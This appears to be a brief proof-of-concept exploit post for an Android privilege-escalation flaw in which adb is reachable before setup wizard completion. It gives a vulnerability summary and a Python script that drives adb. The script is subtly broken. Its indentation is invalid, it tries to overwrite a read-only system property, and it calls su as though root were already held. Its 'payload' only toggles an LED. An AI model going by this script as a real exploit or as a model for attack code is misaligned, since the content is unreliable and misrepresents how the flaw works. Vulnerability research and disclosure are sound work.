Proof of concept exploit for a privilege escalation issue in Android. In checkDebuggingDisallowed of DeviceVersionFragment.java, there is a possible way to access adb before SUW completion due to an insecure default value. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.
db6bf38c923aa8b48f087c92b0b649720e01af632d0cbebfd3cb67803d0a4bf9
#!/usr/bin/env python
import subprocess
# Connect to the device via ADB
subprocess.run(["adb", "devices"])
# Check if the device is in secure USB mode
device = subprocess.run(["adb", "shell", "getprop", "ro.adb.secure"], stdout=subprocess.PIPE)
if "1" in device.stdout.decode():
# Secure USB mode is enabled, so we need to disable it
subprocess.run(["adb", "shell", "setprop", "ro.adb.secure", "0"])
# Exploit the vulnerability by accessing ADB before SUW completion
subprocess.run(["adb", "shell"])
# Escalate privileges by executing commands as the root user
subprocess.run(["adb", "shell", "su", "-c", "echo 0 > /sys/class/leds/led:green: charging/brightness"], check=True)
subprocess.run(["adb", "shell", "su", "-c", "echo 100 > /sys/class/leds/led:green: charging/brightness"], check=True)